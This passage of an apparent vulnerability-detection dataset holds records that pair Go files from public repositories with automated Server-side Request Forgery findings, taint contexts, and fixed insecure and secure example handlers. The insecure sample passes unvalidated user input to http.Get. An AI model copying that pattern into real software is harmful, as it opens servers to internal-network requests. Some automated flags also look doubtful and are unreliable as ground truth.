errors.New(\"Disabled\")\n\n\t// ErrNoCredentials represents an error when there are no Athenz credentials are set\n\tErrNoCredentials = errors.New(\"No credentials\")\n)\n\nconst (\n\t// defaultExpiry represents the default role token expiry. (0 implies unspecified.)\n\tdefaultExpiry = time.Duration(0)\n\n\t// defaultRefreshPeriod represents the default token refresh period.\n\tdefaultRefreshPeriod = time.Minute * 30\n\n\t// defaultErrRetryMaxCount represents the default maximum error retry count.\n\tdefaultErrRetryMaxCount = 5\n\n\t// defaultErrRetryInterval represents the default error retry interval.\n\tdefaultErrRetryInterval = time.Second * 5\n\n\t// cacheKeySeparator is the separator of the internal cache key name.\n\tcacheKeySeparator = \";\"\n\n\t// roleSeparator is the separator of the role names\n\troleSeparator = \",\"\n\n\t// cachePurgePeriod represents default cache purge period\n\tcachePurgePeriod = time.Minute\n)\n\n// NewRoleService returns a RoleService to update and get the role token from Athenz.\nfunc NewRoleService(cfg config.RoleToken, token ntokend.TokenProvider) (RoleService, error) {\n\tvar (\n\t\terr error\n\t\texp = defaultExpiry\n\t\trefreshPeriod = defaultRefreshPeriod\n\t\terrRetryInterval = defaultErrRetryInterval\n\t)\n\n\tif !cfg.Enable {\n\t\treturn nil, ErrDisabled\n\t}\n\n\tif cfg.Expiry != \"\" {\n\t\tif exp, err = time.ParseDuration(cfg.Expiry); err != nil {\n\t\t\treturn nil, errors.Wrap(ErrInvalidSetting, \"Expiry: \"+err.Error())\n\t\t}\n\t}\n\tif cfg.RefreshPeriod != \"\" {\n\t\tif refreshPeriod, err = time.ParseDuration(cfg.RefreshPeriod); err != nil {\n\t\t\treturn nil, errors.Wrap(ErrInvalidSetting, \"RefreshPeriod: \"+err.Error())\n\t\t}\n\t}\n\tif cfg.Retry.Delay != \"\" {\n\t\tif errRetryInterval, err = time.ParseDuration(cfg.Retry.Delay); err != nil {\n\t\t\treturn nil, errors.Wrap(ErrInvalidSetting, \"ErrRetryInterval: \"+err.Error())\n\t\t}\n\t}\n\n\t// if user set the expiry time and refresh period > expiry time then return error\n\tif exp != 0 && refreshPeriod > exp {\n\t\treturn nil, errors.Wrap(ErrInvalidSetting, \"refresh period > token expiry time\")\n\t}\n\n\terrRetryMaxCount := defaultErrRetryMaxCount\n\tif cfg.Retry.Attempts > 0 {\n\t\terrRetryMaxCount = cfg.Retry.Attempts\n\t} else if cfg.Retry.Attempts != 0 {\n\t\treturn nil, errors.Wrap(ErrInvalidSetting, \"ErrRetryMaxCount < 0\")\n\t}\n\n\tif token == nil && cfg.CertPath == \"\" {\n\t\treturn nil, errors.Wrap(ErrInvalidSetting, \"Neither NToken nor client certificate is set.\")\n\t}\n\n\tvar cp *x509.CertPool\n\tif cfg.AthenzCAPath != \"\" {\n\t\tvar err error\n\t\tcaPath := config.GetActualValue(cfg.AthenzCAPath)\n\t\t_, err = os.Stat(caPath)\n\t\tif os.IsNotExist(err) {\n\t\t\treturn nil, errors.Wrap(ErrInvalidSetting, \"Athenz CA not exist\")\n\t\t}\n\t\tcp, err = NewX509CertPool(caPath)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(ErrInvalidSetting, err.Error())\n\t\t}\n\t}\n\n\tcertPath := cfg.CertPath\n\tcertKeyPath := cfg.CertKeyPath\n\t// prevent using client certificate (ntoken has priority)\n\tif token != nil {\n\t\tcertPath = \"\"\n\t\tcertKeyPath = \"\"\n\t}\n\n\ttlsConfig, err := NewTLSClientConfig(cp, certPath, certKeyPath)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(ErrInvalidSetting, err.Error())\n\t}\n\n\tvar httpClient atomic.Value\n\thttpClient.Store(&http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: tlsConfig,\n\t\t},\n\t})\n\n\treturn &roleService{\n\t\tcfg: cfg,\n\t\ttoken: token,\n\t\tathenzURL: cfg.AthenzURL,\n\t\tathenzPrincipleHeader: cfg.PrincipalAuthHeader,\n\t\tdomainRoleCache: gache.New(),\n\t\texpiry: exp,\n\t\thttpClient: httpClient,\n\t\trootCAs: cp,\n\t\tcertPath: certPath,\n\t\tcertKeyPath: certKeyPath,\n\t\trefreshPeriod: refreshPeriod,\n\t\terrRetryMaxCount: errRetryMaxCount,\n\t\terrRetryInterval: errRetryInterval,\n\t}, nil\n}\n\n// StartRoleUpdater returns RoleService.\n// This function will periodically refresh the role token.\nfunc (r *roleService) StartRoleUpdater(ctx context.Context) <-chan error {\n\tglg.Info(\"Starting role token updater\")\n\n\tech := make(chan error, 100)\n\tgo func() {\n\t\tdefer close(ech)\n\n\t\tticker := time.NewTicker(r.refreshPeriod)\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\tglg.Info(\"Stopping role token updater\")\n\t\t\t\tticker.Stop()\n\t\t\t\tech <- ctx.Err()\n\t\t\t\treturn\n\t\t\tcase <-ticker.C:\n\t\t\t\tfor err := range r.RefreshRoleTokenCache(ctx) {\n\t\t\t\t\tech <- errors.Wrap(err, \"error update role token\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tr.domainRoleCache.StartExpired(ctx, cachePurgePeriod)\n\tr.domainRoleCache.EnableExpiredHook().SetExpiredHook(func(ctx context.Context, k string) {\n\t\tglg.Warnf(\"the following cache is expired, key: %v\", k)\n\t})\n\treturn ech\n}\n\n// GetRoleProvider returns a function pointer to get the role token.\nfunc (r *roleService) GetRoleProvider() RoleProvider {\n\treturn r.getRoleToken\n}\n\n// getRoleToken returns RoleToken struct or error.\n// This function will return the role token stored inside the cache, or fetch the role token from Athenz when corresponding role token cannot be found in the cache.\nfunc (r *roleService) getRoleToken(ctx context.Context, domain, role, proxyForPrincipal string, minExpiry, maxExpiry int64) (*RoleToken, error) {\n\ttok, ok := r.getCache(domain, role, proxyForPrincipal)\n\tif !ok {\n\t\treturn r.updateRoleToken(ctx, domain, role, proxyForPrincipal, minExpiry, maxExpiry)\n\t}\n\treturn tok, nil\n}\n\n// RefreshRoleTokenCache returns the error channel when it is updated.\nfunc (r *roleService) RefreshRoleTokenCache(ctx context.Context) <-chan error {\n\tglg.Info(\"RefreshRoleTokenCache started\")\n\n\techan := make(chan error, r.domainRoleCache.Len()*(r.errRetryMaxCount+1))\n\tgo func() {\n\t\tdefer close(echan)\n\n\t\tr.domainRoleCache.Foreach(ctx, func(key string, val interface{}, exp int64) bool {\n\t\t\tdomain, role, principal := decode(key)\n\t\t\tcd := val.(*cacheData)\n\n\t\t\tfor err := range r.updateRoleTokenWithRetry(ctx, domain, role, principal, cd.minExpiry, cd.maxExpiry) {\n\t\t\t\techan <- err\n\t\t\t}\n\t\t\treturn true\n\t\t})\n\t}()\n\n\treturn echan\n}\n\n// updateRoleTokenWithRetry wraps updateRoleToken with retry logic.\nfunc (r *roleService) updateRoleTokenWithRetry(ctx context.Context, domain, role, proxyForPrincipal string, minExpiry, maxExpiry int64) <-chan error {\n\tglg.Debugf(\"updateRoleTokenWithRetry started, domain: %s, role: %s, proxyForPrincipal: %s, minExpiry: %d, maxExpiry: %d\", domain, role, proxyForPrincipal, minExpiry, maxExpiry)\n\n\techan := make(chan error, r.errRetryMaxCount+1)\n\tgo func() {\n\t\tdefer close(echan)\n\n\t\tfor i := 0; i <= r.errRetryMaxCount; i++ {\n\t\t\tif _, err := r.updateRoleToken(ctx, domain, role, proxyForPrincipal, minExpiry, maxExpiry); err != nil {\n\t\t\t\techan <- err\n\t\t\t\ttime.Sleep(r.errRetryInterval)\n\t\t\t} else {\n\t\t\t\tglg.Debug(\"update success\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn echan\n}\n\n// updateRoleToken returns RoleToken struct or error.\n// This function ask Athenz to generate role token and return, or return any error when generating the role token.\nfunc (r *roleService) updateRoleToken(ctx context.Context, domain, role, proxyForPrincipal string, minExpiry, maxExpiry int64) (*RoleToken, error) {\n\tkey := encode(domain, role, proxyForPrincipal)\n\texpTimeDelta := fastime.Now().Add(time.Minute)\n\n\trt, err, _ := r.group.Do(key, func() (interface{}, error) {\n\t\trt, e := r.fetchRoleToken(ctx, domain, role, proxyForPrincipal, minExpiry, maxExpiry)\n\t\tif e != nil {\n\t\t\treturn nil, e\n\t\t}\n\n\t\tr.domainRoleCache.SetWithExpire(key, &cacheData{\n\t\t\ttoken: rt,\n\t\t\tdomain: domain,\n\t\t\trole: role,\n\t\t\tproxyForPrincipal: proxyForPrincipal,\n\t\t\tminExpiry: minExpiry,\n\t\t\tmaxExpiry: maxExpiry,\n\t\t}, time.Unix(rt.ExpiryTime, 0).Sub(expTimeDelta))\n\n\t\tglg.Debugf(\"token is cached, domain: %s, role: %s, proxyForPrincipal: %s, expiry time: %v\", domain, role, proxyForPrincipal, rt.ExpiryTime)\n\t\treturn rt, nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn rt.(*RoleToken), err\n}\n\n// fetchRoleToken fetch the role token from Athenz server, and return the decoded role token and any error if occurred.\n// P.S. Do not call fetchRoleToken() outside singleflight group, as behavior of concurrent request is not tested\nfunc (r *roleService) fetchRoleToken(ctx context.Context, domain, role, proxyForPrincipal string, minExpiry, maxExpiry int64) (*RoleToken, error) {\n\tglg.Debugf(\"get role token, domain: %s, role: %s, proxyForPrincipal: %s, minExpiry: %d, maxExpiry: %d\", domain, role, proxyForPrincipal, minExpiry, maxExpiry)\n\n\t// prepare request object\n\treq, err := r.createGetRoleTokenRequest(domain, role, minExpiry, maxExpiry, proxyForPrincipal)\n\tif err != nil {\n\t\tglg.Debugf(\"fail to create request object, error: %s\", err)\n\t\treturn nil, err\n\t}\n\tglg.Debugf(\"request url: %v\", req.URL)\n\n\t// prepare Athenz credentials\n\tif r.token != nil {\n\t\ttoken, err := r.token()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treq.Header.Set(r.athenzPrincipleHeader, token)\n\t} else if r.certPath != \"\" {\n\t\t// prepare TLS config (certificate file may refresh)\n\t\ttcc, err := NewTLSClientConfig(r.rootCAs, r.certPath, r.certKeyPath)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr.httpClient.Store(&http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tTLSClientConfig: tcc,\n\t\t\t},\n\t\t})\n\t} else {\n\t\treturn nil, ErrNoCredentials\n\t}\n\n\t// send request\n\tres, err := r.httpClient.Load().(*http.Client).Do(req.WithContext(ctx))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer flushAndClose(res.Body)\n\tif res.StatusCode != http.StatusOK {\n\t\tbuf := new(bytes.Buffer)\n\t\tif _, err := buf.ReadFrom(res.Body); err != nil {\n\t\t\tglg.Debugf(\"cannot read response body, err: %v\", err)\n\t\t}\n\t\tglg.Debugf(\"error return from server, response:%+v, body: %v\", res, buf.String())\n\t\treturn nil, ErrRoleTokenRequestFailed\n\t}\n\n\tvar data *RoleToken\n\tif err = json.NewDecoder(res.Body).Decode(&data); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}\n\nfunc (r *roleService) getCache(domain, role, principal string) (*RoleToken, bool) {\n\tval, ok := r.domainRoleCache.Get(encode(domain, role, principal))\n\tif !ok {\n\t\treturn nil, false\n\t}\n\treturn val.(*cacheData).token, ok\n}\n\nfunc (r *roleService) createGetRoleTokenRequest(domain, role string, minExpiry, maxExpiry int64, proxyForPrincipal string) (*http.Request, error) {\n\tu := fmt.Sprintf(\"https://%s/domain/%s/token\", strings.TrimPrefix(strings.TrimPrefix(r.athenzURL, \"https://\"), \"http://\"), domain)\n\n\treq, err := http.NewRequest(http.MethodGet, u, nil)\n\tif err != nil {\n\t\tglg.Debugf(\"fail to create request object, error: %s\", err)\n\t\treturn nil, err\n\t}\n\n\tgetParamValue := func(dur int64) string {\n\t\treturn strconv.FormatInt(dur, 10)\n\t}\n\n\t// create URL query\n\tq := req.URL.Query()\n\n\tif role != \"\" {\n\t\tq.Add(\"role\", role)\n\t}\n\n\tminExp := int64(r.expiry / time.Second)\n\tif minExpiry > 0 {\n\t\tminExp = minExpiry\n\t}\n\tif minExp > 0 {\n\t\tq.Add(\"minExpiryTime\", getParamValue(minExp))\n\t}\n\n\t// set max expiry only if user specifies it\n\tif maxExpiry > 0 {\n\t\tq.Add(\"maxExpiryTime\", getParamValue(maxExpiry))\n\t}\n\n\tif proxyForPrincipal != \"\" {\n\t\tq.Add(\"proxyForPrincipal\", proxyForPrincipal)\n\t}\n\n\treq.URL.RawQuery = q.Encode()\n\n\treturn req, nil\n}\n\nfunc encode(domain, role, principal string) string {\n\troles := strings.Split(role, roleSeparator)\n\tsort.Strings(roles)\n\n\ts := []string{domain, strings.Join(roles, roleSeparator), principal}\n\tif principal == \"\" {\n\t\treturn strings.Join(s[:2], cacheKeySeparator)\n\t}\n\treturn strings.Join(s, cacheKeySeparator)\n}\n\nfunc decode(key string) (string, string, string) {\n\tkeys := strings.SplitN(key, cacheKeySeparator, 3)\n\tres := make([]string, 3)\n\tcopy(res, keys)\n\treturn res[0], res[1], res[2]\n}\n\n// flushAndClose helps to flush and close a ReadCloser. Used for request body internal.\n// Returns if there is any errors.\nfunc flushAndClose(rc io.ReadCloser) error {\n\tif rc != nil {\n\t\t// flush\n\t\t_, err := io.Copy(ioutil.Discard, rc)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// close\n\t\treturn rc.Close()\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 411, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 411, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 413, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "82a4c18f742f180b1f6fe63baeb34bafa90797546f8df0d3385f35a5f53ee533", "license": {"spdx": ["Apache-2.0"], "repo": "JeanRibes/gemini-ghost", "path": "ghost/settings.go", "repo_head_hexsha": "1524848ffdd37401bbeec31bcd1a4b718181f70f", "stack_hexsha": "feb76a3cbe0a454614cdb13c76d85cebd71c20e4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 50, "entireCode": "package ghost\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n)\n\ntype Settings struct {\n\tTitle string `json:\"title\"`\n\tDescription string `json:\"description\"`\n\tLogo interface{} `json:\"logo\"`\n\tIcon interface{} `json:\"icon\"`\n\tAccentColor string `json:\"accent_color\"`\n\tCoverImage string `json:\"cover_image\"`\n\tFacebook string `json:\"facebook\"`\n\tTwitter string `json:\"twitter\"`\n\tLang string `json:\"lang\"`\n\tLocale string `json:\"locale\"`\n\tTimezone string `json:\"timezone\"`\n\tCodeinjectionHead interface{} `json:\"codeinjection_head\"`\n\tCodeinjectionFoot string `json:\"codeinjection_foot\"`\n\tNavigation []struct {\n\t\tLabel string `json:\"label\"`\n\t\tURL string `json:\"url\"`\n\t} `json:\"navigation\"`\n\tSecondaryNavigation []struct {\n\t\tLabel string `json:\"label\"`\n\t\tURL string `json:\"url\"`\n\t} `json:\"secondary_navigation\"`\n\tMetaTitle interface{} `json:\"meta_title\"`\n\tMetaDescription interface{} `json:\"meta_description\"`\n\tOgImage interface{} `json:\"og_image\"`\n\tOgTitle interface{} `json:\"og_title\"`\n\tOgDescription interface{} `json:\"og_description\"`\n\tTwitterImage interface{} `json:\"twitter_image\"`\n\tTwitterTitle interface{} `json:\"twitter_title\"`\n\tTwitterDescription interface{} `json:\"twitter_description\"`\n\tMembersSupportAddress string `json:\"members_support_address\"`\n\tURL string `json:\"url\"`\n}\n\ntype ghostsettings struct {\n\tSettings Settings `json:\"settings\"`\n\tMeta struct {\n\t} `json:\"meta\"`\n}\n\nfunc fetchSettings(url string, key string) (*Settings, error) {\n\tres, err := http.Get(fmt.Sprintf(\"%s/settings/?key=%s\", url, key))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar data ghostsettings\n\tif err := json.NewDecoder(res.Body).Decode(&data); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &data.Settings, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 50, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 50, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "6e8e89fdf1374c01f1e77f88f072617033c9cc704a614c601cfeae4e01113ee8", "license": {"spdx": ["MIT"], "repo": "IPlayZed/zap", "path": "index/zap.go", "repo_head_hexsha": "f755fb9b1beaa197b84f6c4f230ec55fce933998", "stack_hexsha": "f9842115a165bd5effc1afc0400140817bf492a4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 27, "entireCode": "package index\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"runtime\"\n\t\"strconv\"\n\n\t\"github.com/buger/jsonparser\"\n\t\"github.com/srevinsaju/zap/config\"\n\t\"github.com/srevinsaju/zap/internal/helpers\"\n\t\"github.com/srevinsaju/zap/tui\"\n\t\"github.com/srevinsaju/zap/types\"\n)\n\nfunc GetZapReleases(executable string, config config.Store) (*types.ZapReleases, error) {\n\t// declare the stuff which we are going to return\n\tzapReleases := &types.ZapReleases{}\n\n\t// get the target URL based on the Executable name\n\ttargetUrl := fmt.Sprintf(config.Mirror, executable)\n\tlogger.Debugf(\"Fetching %s\", targetUrl)\n\n\t// create http client and fetch JSON\n\tresp, err := http.Get(targetUrl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// get owner\n\towner, err := jsonparser.GetString(body, \"owner\")\n\tif err != nil {\n\t\treturn nil, errors.New(\"this app does not provide any candidate for installation\")\n\t}\n\tzapReleases.Author = owner\n\n\t// get source\n\tsourceType, err := jsonparser.GetString(body, \"source\", \"type\")\n\tif err != nil {\n\t\treturn nil, errors.New(\"this app has no source type attribute. Report it here: https://github.com/AppImage/appimage.github.io\")\n\t}\n\tsourceUrl, err := jsonparser.GetString(body, \"source\", \"url\")\n\tif err != nil {\n\t\treturn nil, errors.New(\"this app has no source type attribute. Report it here: https://github.com/AppImage/appimage.github.io\")\n\t}\n\tzapReleases.Source = types.ZapSource{\n\t\tType: sourceType,\n\t\tUrl: sourceUrl,\n\t}\n\n\tzapReleases.Releases = make(map[int]types.ZapRelease)\n\n\t// iterate through each release\n\terr = jsonparser.ObjectEach(body, func(key []byte, value []byte, dataType jsonparser.ValueType, offset int) error {\n\n\t\tk := string(key)\n\n\t\ti, err := strconv.Atoi(k)\n\t\tif err != nil {\n\t\t\treturn nil // skip\n\t\t}\n\n\t\tlogger.Debugf(\"Getting is_prerelease for %s\", k)\n\t\tisPreRelease, err := jsonparser.GetBoolean(value, \"prerelease\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogger.Debugf(\"Getting is_tag for %s\", k)\n\t\ttag, err := jsonparser.GetString(value, \"tag\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogger.Debugf(\"Getting published_at for %s\", k)\n\t\tpublishedAt, err := jsonparser.GetString(value, \"published_at\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// iterate through all assets and generate mapping\n\t\tzapDlAssetsMap := map[string]types.ZapDlAsset{}\n\t\terr = jsonparser.ObjectEach(value, func(key_ []byte, value_ []byte, dataType jsonparser.ValueType, offset int) error {\n\t\t\tk_ := string(key_)\n\n\t\t\tlogger.Debugf(\"Getting Asset Name for %s\", k_)\n\t\t\tzapDlAssetName, err := jsonparser.GetString(value_, \"name\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tlogger.Debugf(\"Getting Asset Download URL for %s\", k_)\n\t\t\tzapDlAssetDownloadUrl, err := jsonparser.GetString(value_, \"download\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tlogger.Debugf(\"Getting Asset Size for %s\", k_)\n\t\t\tzapDlAssetSize, err := jsonparser.GetString(value_, \"size\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tlogger.Debugf(\"Creating Asset %s with [%s, %s]\", k_, zapDlAssetName, zapDlAssetSize)\n\t\t\tzapDlAssetsMap[k_] = types.ZapDlAsset{\n\t\t\t\tName: zapDlAssetName,\n\t\t\t\tDownload: zapDlAssetDownloadUrl,\n\t\t\t\tSize: zapDlAssetSize,\n\t\t\t}\n\t\t\treturn nil\n\t\t}, \"assets\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tzapReleases.Releases[i] = types.ZapRelease{\n\t\t\tPreRelease: isPreRelease,\n\t\t\tAssets: zapDlAssetsMap,\n\t\t\tTag: tag,\n\t\t\tPublishedAt: publishedAt,\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogger.Debugf(\"Found %d releases\", len(zapReleases.Releases))\n\treturn zapReleases, nil\n}\n\nfunc ZapSurveyUserReleases(options types.InstallOptions, config config.Store) (types.ZapDlAsset, error) {\n\n\tasset := types.ZapDlAsset{}\n\n\tlogger.Debugf(\"Fetching releases from api for %s\", options.Name)\n\treleases, err := GetZapReleases(options.Name, config)\n\tif err != nil {\n\t\treturn types.ZapDlAsset{}, err\n\t}\n\n\t// sort.Slice(releases.Releases, releases.SortByReleaseDate)\n\n\t// let the user decide which version to install\n\treleaseUserResponse, err := helpers.InteractiveSurvey(helpers.InteractiveSurveyOptions{\n\t\tClassifier: \"release\",\n\t\tArray: releases.GetReleasesArray(),\n\t\tDefault: releases.GetLatestRelease(),\n\t\tOptions: options,\n\t})\n\tif err != nil {\n\t\treturn types.ZapDlAsset{}, err\n\t}\n\n\t// get selected version\n\tlogger.Debugf(\"Downloading %s \\n\", tui.Yellow(releaseUserResponse))\n\n\tassets, err := releases.GetAssetsFromTag(releaseUserResponse)\n\tif err != nil {\n\t\treturn types.ZapDlAsset{}, err\n\t}\n\n\tlogger.Debugf(\"Running on GOARCH: %s\", runtime.GOARCH)\n\n\tvar filteredAssets map[string]types.ZapDlAsset\n\tif options.DoNotFilter {\n\t\tlogger.Debug(\"Explicitly not filtering\")\n\t\tfilteredAssets = assets\n\t} else {\n\t\tlogger.Debugf(\"Filtering assets based on ARCH\")\n\t\tfilteredAssets = helpers.GetFilteredAssets(assets)\n\t}\n\n\tassetsUserResponse, err := helpers.InteractiveSurvey(helpers.InteractiveSurveyOptions{\n\t\tClassifier: \"asset\",\n\t\tArray: helpers.ZapAssetNameArray(filteredAssets),\n\t\tDefault: \"\",\n\t\tOptions: options,\n\t})\n\tif err != nil {\n\t\treturn types.ZapDlAsset{}, err\n\t}\n\n\t// get the asset from the map, based on the filename\n\tasset, err = helpers.GetAssetFromName(filteredAssets, assetsUserResponse)\n\tif err != nil {\n\t\treturn types.ZapDlAsset{}, err\n\t}\n\n\tlogger.Debug(asset)\n\treturn asset, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 27, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "ebeb8bbad236868da175b621592a527879541a1c487f60f7258e23b8d2289b55", "license": {"spdx": ["MIT"], "repo": "abhinavdahiya/go-messenger-bot", "path": "threadsettings.go", "repo_head_hexsha": "9044eb25e9a32a2c169c9af490cb6179f14a9289", "stack_hexsha": "194c3c746de3971658804f4b50f19080711218fb", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 35, "entireCode": "package mbotapi\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n)\n\nconst (\n\tSettingsEndpoint = \"https://graph.facebook.com/v2.6/me/thread_settings?access_token=%s\"\n)\n\ntype ThreadSetting struct {\n\tType string `json:\"setting_type\"`\n\tState string `json:\"thread_state,omitempty\"`\n\tAction interface{} `json:\"call_to_actions,omitempty\"`\n\tGreeting *Greeting `json:\"greeting,omitempty\"`\n}\n\ntype Greeting struct {\n\tText string `json:\"text\"`\n}\n\ntype GStarted struct {\n\tPayload string `json:\"payload\"`\n}\n\nfunc (bot *BotAPI) SetSettings(b *bytes.Buffer) error {\n\turi := fmt.Sprintf(SettingsEndpoint, bot.Token)\n\n\treq, _ := http.NewRequest(\"POST\", uri, b)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := bot.Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\trsp, _ := ioutil.ReadAll(resp.Body)\n\tlog.Printf(\"[SETTINGS] %s\", rsp)\n\tif resp.StatusCode != 200 {\n\t\treturn errors.New(http.StatusText(resp.StatusCode))\n\t}\n\treturn nil\n}\n\nfunc (bot *BotAPI) SetGreeting(text string) error {\n\tg := ThreadSetting{\n\t\tType: \"greeting\",\n\t\tGreeting: &Greeting{\n\t\t\tText: text,\n\t\t},\n\t}\n\n\tlog.Printf(\"[SETTINGS] %#v\", g)\n\tpayl, err := 